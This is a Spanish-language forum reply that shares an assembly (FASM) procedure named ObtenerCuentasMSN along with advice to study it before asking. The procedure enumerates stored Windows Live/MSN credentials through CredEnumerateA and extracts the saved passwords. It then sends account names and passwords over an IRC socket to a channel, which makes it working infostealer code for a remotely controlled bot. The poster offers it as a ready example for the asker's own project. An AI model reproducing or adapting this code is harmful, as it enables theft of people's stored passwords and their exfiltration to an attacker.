Trata de buscar antes de poner una pregunta

Esta mas que entendible... movi las variables a la funcion ya que estan agregadas mas abajo por si leiste rapido y no se te ocurrio buscarla.

proc ObtenerCuentasMSN,pSocket,pCanal
 
locals
lCred  dd ?
lCount dd ?
lLibreria dd ?
lBuffer rb 150
lBuffer2 rb 100
lBuffer3 rb 200
creda	db "CredEnumerateA",0
Crd	db 'WindowsLive:name=*',0
endl
 
stdcall HablarIRC,[pSocket],[pCanal],cLOGO1
stdcall HablarIRC,[pSocket],[pCanal],cLOGO2
stdcall HablarIRC,[pSocket],[pCanal],cLOGO3
 
invoke LoadLibrary,dadvapi32
mov [lLibreria],eax
invoke GetProcAddress,eax,creda
 
stdcall eax,Crd, 0,addr lCount,addr lCred
 
.if [lCount] = 0
stdcall HablarIRC,[pSocket],[pCanal],cNo
jmp .salir
.endif
 
mov ebx,[lCred]
sub ebx,4
 
.bucle_:
 
dec [lCount]
add ebx,4
mov edi,[ebx]
add  dword[edi+8],17
 
.if dword[edi+28]  <> 0
 
invoke wsprintf,addr lBuffer,cCuenta,dword[edi+8]
stdcall UniToAscii,addr lBuffer2,dword[edi+28]                                  ;Aqui queda la clave
invoke wsprintf,addr lBuffer3,cClave,addr lBuffer2
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer3
 
.else
 
invoke wsprintf,addr lBuffer,cCuenta,dword[edi+8]
stdcall HablarIRC,[pSocket],[pCanal],addr lBuffer
 
.endif
 
cmp [lCount] ,0
jne  .bucle_
 
.salir:
 
invoke FreeLibrary,[lLibreria]
ret

mira el code un poco.

fijate en la parte de las cadenas de texto

creda	db "CredEnumerateA",0
Crd	db 'WindowsLive:name=*',0
 

No tendrias que probarlo, simplemente tendrias que analizarlo y ver la parte del codigo que te puse. El problema es que si solo te digo que que debes de usar CredEnumerateA me  pediras un ejemplo ya teniendo uno. Si te soluciono el problema terminaras de hacer lo que estas haciendo es cierto, pero no sabras siquiera como lo hiciste.

"Si das pescado a un hombre hambriento, le nutres una jornada. Si le enseñas a pescar, le nutrirás toda la vida." - Lao Tse